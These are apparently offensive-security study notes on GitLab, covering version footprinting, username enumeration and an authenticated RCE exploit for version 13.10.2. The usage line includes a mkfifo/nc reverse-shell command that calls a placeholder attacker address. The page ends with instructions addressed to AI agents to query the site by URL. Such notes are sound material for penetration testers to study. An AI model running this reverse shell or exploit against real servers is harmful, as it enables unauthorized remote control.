# Gitlab ## **Introduction** > * GitLab is an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. > * There's not much we can do against GitLab without knowing the version number or being logged in. > * In some cases, you can register a user accoun without admin confirmation *** ## **GitLab Footprinting & Enumeration** * There's not much we can do against GitLab without knowing the version number or being logged in. * The only way to footprint the GitLab `version number` in use is by browsing to the `/help` page when logged in. * Some GitLab istances may `allow user registration` without confirmation from an administrator * Authenticated: browsing to `/explore` we can check for any `public projects` that may contain something interesting *** ## **GitLab User Enumeration** * We can enumerate valid (used) usernames by using the registration form error messages * Resources (PoCs for enumerating users): * * *** ## **GitLab Authenticated RCE** * **Affected version:** `13.10.2` * **Exploit:** * **PoC Usage:**\ `python3 gitlab_13_10_2_rce.py -t http://gitlab.test.example:8081 -u user -p password -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your-ip your-nc-port >/tmp/f '` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.sfoffo.com/web-applications/web-technologies/gitlab.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.